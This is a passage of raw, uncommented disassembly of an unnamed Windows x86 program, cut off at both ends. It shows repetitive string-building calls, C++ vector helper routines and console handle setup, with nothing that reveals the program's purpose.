push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 36h call sub_4019B5 add esp, 64h mov byte ptr [esp+370h], 37h mov ecx, eax call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 38h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx mov byte ptr [esp+3D0h], 39h call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Ah call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Bh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D638F push eax mov [esp+14h], edi call sub_401A5F lea ecx, [esp+98h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Ch call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Dh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Eh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3CCh], 3Fh push 13h lea eax, [esp+8Ch] push eax call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 40h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 41h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+158h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx mov byte ptr [esp+3C4h], 42h call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 43h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 44h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+188h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 45h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 46h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 47h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3D4h], 48h push 13h lea eax, [esp+94h] push eax call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 49h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Ah call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+170h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 4Bh call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Ch call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Dh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h push eax mov byte ptr [esp+3D0h], 4Eh call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 4Fh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 50h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D638F push edx mov [esp+14h], edi call sub_401A5F push offset byte_446F70 push offset word_4E6E9A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_401424 lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401424 push 56D2h push 539h mov byte ptr [esp+360h], 52h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 push eax lea eax, [esp+234h] push offset dword_4437F4 push eax call sub_40102D push 56D2h push 539h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 14h push eax push offset dword_4437F4 lea ecx, [esp+268h] push ecx call sub_40102D sub esp, 0Ch lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+52Bh] push eax mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1B8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+230h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+290h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E6E9A call sub_4014C9 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+140h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+110h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 16Dh call sub_4017E4 push eax push offset byte_44742D mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 1B6h call sub_4017E4 push eax push offset dword_4473E4 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] call sub_4017E4 push eax push offset dword_4472C0 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 124h call sub_4017E4 push eax push offset word_447352 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 0DBh call sub_4017E4 push eax push offset byte_447309 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 92h call sub_4017E4 push eax push offset byte_44739B mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 1FFh call sub_4017E4 push eax push offset byte_4474BF mov ecx, offset word_448D16 call sub_401596 lea ecx, [esp+1D0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 lea ecx, [esp+260h] mov byte ptr [esp+370h], 53h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+8Ch], esp push eax call sub_401861 lea ecx, [esp+230h] mov byte ptr [esp+388h], 54h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0A8h], esp push eax call sub_401861 lea ecx, [esp+110h] mov byte ptr [esp+3A0h], 55h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0C4h], esp push eax call sub_401861 mov ecx, offset word_448C9E mov byte ptr [esp+3B8h], 52h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+98h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 2 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 1 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+1E8h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 5C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409450 proc near ; CODE XREF: sub_40146Aj arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401974 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409468 mov ecx, esi call sub_40190B ; --------------------------------------------------------------------------- loc_409468: ; CODE XREF: sub_409450+Fj mov ecx, esi call sub_401A37 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409450 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409490 proc near ; CODE XREF: sub_401A5Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_40168B pop esi retn 4 sub_409490 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094C0 proc near ; CODE XREF: sub_401A37j mov eax, [ecx+4] retn sub_4094C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094E0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4094E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409500 proc near ; CODE XREF: sub_401974j mov edx, [ecx+4] test edx, edx jnz short loc_40950A xor eax, eax retn ; --------------------------------------------------------------------------- loc_40950A: ; CODE XREF: sub_409500+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_409500 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_40168Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A37 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401B9A mov ecx, edi call sub_401A37 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409530 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409580 proc near ; CODE XREF: sub_40190Bj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] call near ptr 760A0430h nop lea edx, [esp+48h+var_34] push offset dword_43F080 push edx call sub_436832 sub_409580 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409600 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4096CB mov ecx, esi call sub_401974 cmp edi, eax jnb short loc_409633 mov ecx, esi call sub_401974 mov ebp, eax jmp short loc_409635 ; --------------------------------------------------------------------------- loc_409633: ; CODE XREF: sub_409600+26j mov ebp, edi loc_409635: ; CODE XREF: sub_409600+31j mov ecx, esi call sub_401974 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CAD ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016D6 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401974 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4096CB: ; CODE XREF: sub_409600+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409729 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401F96 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409729: ; CODE XREF: sub_409600+D8j test edi, edi jbe short loc_409763 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016D6 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CCB mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401F96 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409763: ; CODE XREF: sub_409600+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_409600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4097D0 proc near ; CODE XREF: sub_40170Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4097F0 loc_4097E1: ; CODE XREF: sub_4097D0+1Ej push esi mov ecx, edi call sub_402072 add esi, 4 cmp esi, ebx jnz short loc_4097E1 loc_4097F0: ; CODE XREF: sub_4097D0+Fj pop edi pop esi pop ebx retn 8 sub_4097D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409810 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_409810 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409830 proc near ; CODE XREF: sub_402072j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409830 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409850 proc near ; CODE XREF: sub_4016D6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409882 push edi mov edi, [esp+10h+arg_8] loc_409866: ; CODE XREF: sub_409850+27j push esi push edi mov ecx, ebx call sub_4015AA add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409866 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409882: ; CODE XREF: sub_409850+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098A0 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4098C7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_4098B6: ; CODE XREF: sub_4098A0+23j push ebx push esi mov ecx, ebp call sub_4015AA add esi, 4 dec edi jnz short loc_4098B6 pop esi pop ebx loc_4098C7: ; CODE XREF: sub_4098A0+Aj pop edi pop ebp retn 0Ch sub_4098A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098E0 proc near ; CODE XREF: sub_401CADj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_40203B sub_4098E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_4015AAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_409910 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409940 proc near ; CODE XREF: sub_401F96j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40995D mov edx, [esp+arg_8] push esi loc_409951: ; CODE XREF: sub_409940+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409951 pop esi locret_40995D: ; CODE XREF: sub_409940+Aj retn sub_409940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409970 proc near ; CODE XREF: sub_401CCBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409992 mov eax, [esp+arg_8] push esi loc_409981: ; CODE XREF: sub_409970+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409981 pop esi retn ; --------------------------------------------------------------------------- loc_409992: ; CODE XREF: sub_409970+Aj mov eax, [esp+arg_8] retn sub_409970 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099D0 proc near ; CODE XREF: sub_40203Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4099DA xor eax, eax loc_4099DA: ; CODE XREF: sub_4099D0+6j shl eax, 2 push eax call sub_4367FA sub_4099D0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A00 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409A1B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409A1B: ; CODE XREF: sub_409A00+11j retn sub_409A00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A30 proc near ; CODE XREF: sub_401979j arg_0 = dword ptr 4 mov al, byte_44719A push esi test al, al mov esi, ecx jz short loc_409A66 push edi nop call near ptr 2841A92h mov edi, dword_50F8C4 push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409A66: ; CODE XREF: sub_409A30+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409A30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AA0 proc near ; CODE XREF: sub_401CDAj mov al, byte_44719A push esi test al, al mov esi, ecx jz short loc_409ABF nop call near ptr 2850000h mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409ABF: ; CODE XREF: sub_409AA0+Aj mov byte ptr [esi+8], 